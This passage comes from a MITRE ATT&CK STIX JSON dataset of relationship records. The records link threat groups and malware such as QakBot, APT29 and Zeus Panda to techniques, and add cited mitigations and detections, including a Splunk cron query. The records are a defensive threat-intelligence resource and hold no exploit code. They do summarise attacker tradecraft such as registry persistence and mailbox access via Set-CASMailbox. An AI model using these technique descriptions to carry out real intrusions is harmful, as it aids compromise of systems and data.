0b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:59.029Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to collect the victim’s IP address and domain name.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ab6eb52-821c-45da-b7d9-63840fe657cf","type":"relationship","created":"2019-01-29T17:59:44.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.134Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can take screenshots of the victim’s machine.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4abb5175-7caf-41c8-83a6-1ce459cf72df","type":"relationship","created":"2020-02-17T21:26:44.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.","url":"https://adsecurity.org/?p=2288","source_name":"ADSecurity Finding Passwords in SYSVOL"}],"modified":"2020-06-17T14:25:38.393Z","description":"Search SYSVOL for any existing GGPs that may contain credentials and remove them.(Citation: ADSecurity Finding Passwords in SYSVOL)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4abb6550-b362-4f8a-80e4-1d6f094a1e37","type":"relationship","created":"2021-09-21T15:45:10.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.882Z","description":"[Turian](https://attack.mitre.org/software/S0647) can retrieve usernames.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4abc64bb-16de-4cb5-b0dc-af5e90eef7dc","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T12:48:50.947Z","description":"Create a baseline of cron jobs and the processes that they spawn in your environment. Monitor for newly spawned outlier processes that are executed through cron jobs that have not been seen before when compared against the baseline data.\n\nAnalytic 1 - Unusual Cron Job Creation\n\n index=os_logs sourcetype=process_creation (process_name=\"*cron*\" OR process_name=\"*/usr/sbin/cron*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-20T18:07:43.175Z","description":"[Daserf](https://attack.mitre.org/software/S0187) uses custom base64 encoding to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ac5b593-8f47-46cc-9af3-fcb0eb20f66e","type":"relationship","created":"2020-10-15T02:02:39.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-10-22T18:13:16.606Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed certificates to sign malicious installers.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4acb6288-8de5-4a5c-b7a4-68911ab148f9","type":"relationship","created":"2021-06-22T13:12:35.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:12:35.407Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can identify the username on a compromised host.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ad60c58-2665-4c4b-a9e8-5cd0042e45bb","type":"relationship","created":"2019-06-07T17:41:58.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.851Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can achieve persistence by adding itself to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ad9aa86-f489-4f0f-926f-f381221c3705","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[BlackOasis](https://attack.mitre.org/groups/G0063)'s first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.(Citation: Securelist BlackOasis Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ae04a82-5c2b-438a-83e5-d8175d10b1ff","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ae0fc35-a321-4ffb-b7fa-b03a20230fc4","type":"relationship","created":"2021-09-22T21:17:31.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:31.947Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used the systeminfo command on a compromised host.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ae58878-d6b9-4f0d-bca1-f2f3b5e2adce","created":"2022-04-15T16:08:34.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.676Z","description":"[Zox](https://attack.mitre.org/software/S0672) has used the .PNG file format for C2 communications.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ae86603-3199-4692-b37c-f26a7c7e3fc2","created":"2022-10-13T17:49:03.523Z","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:49:03.523Z","description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) conducted an e-mail thread-hijacking campaign with malicious ISO attachments.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4aec046b-4d53-44ea-97d0-e5a57290fb1e","type":"relationship","created":"2021-09-30T14:37:43.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:37:43.230Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can measure the download speed on a targeted host.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4aeffb05-327d-4ed3-a26f-e8eb7fe28055","created":"2024-09-23T22:42:49.740Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:42:49.740Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used the Windows Command Prompt to execute commands.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-04-24T23:10:02.430Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe.","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4af77ee9-ee38-4594-81e3-177a2f2d4bfb","type":"relationship","created":"2021-05-19T15:54:52.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.352Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can identify targets by querying account groups on a domain contoller.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4afcb9c9-e490-446b-97b1-1c151974242f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:32:17.641Z","description":"[TINYTYPHON](https://attack.mitre.org/software/S0131) has used XOR with 0x90 to obfuscate its configuration file.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4afd3659-dcb7-4f0a-938f-91599a4c4861","type":"relationship","created":"2020-03-24T15:00:13.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:08:08.536Z","description":"Develop and publish policies that define acceptable information to be stored in Confluence repositories.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b03f718-f89a-4652-b3be-5cbe4e0e044f","type":"relationship","created":"2020-05-28T16:38:03.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.378Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can stage data prior to exfiltration in %APPDATA%\\Microsoft\\UserSetting and %APPDATA%\\Microsoft\\UserSetting\\MediaCache.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b060a1c-932f-4864-a5a4-83f324b62338","type":"relationship","created":"2021-05-11T18:51:16.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-05-11T18:51:16.451Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b0b60ee-2ee8-4de0-868f-ae4c85e131ff","created":"2023-03-26T14:55:32.091Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"},{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T14:55:32.091Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) added their own devices as allowed IDs for active sync using `Set-CASMailbox`, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b14d96b-1664-4072-a49a-3a990a13ca83","type":"relationship","created":"2019-04-23T16:24:46.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.057Z","description":"[HTRAN](https://attack.mitre.org/software/S0040) can install a rootkit to hide network connections from the host OS.(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b1cb3cd-5315-487b-8e4b-554b4679d00d","type":"relationship","created":"2021-08-03T14:24:53.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.485Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) has the ability to proxy execution of malicious files with Rundll32.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b2303df-c73d-4617-bd56-4468b29a5036","type":"relationship","created":"2021-04-08T18:09:43.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-09T14:28:55.641Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has searched bash_history for credentials.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.708Z","description":"[S-Type](https://attack.mitre.org/software/S0085) primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.(Citation: Cylance Dust 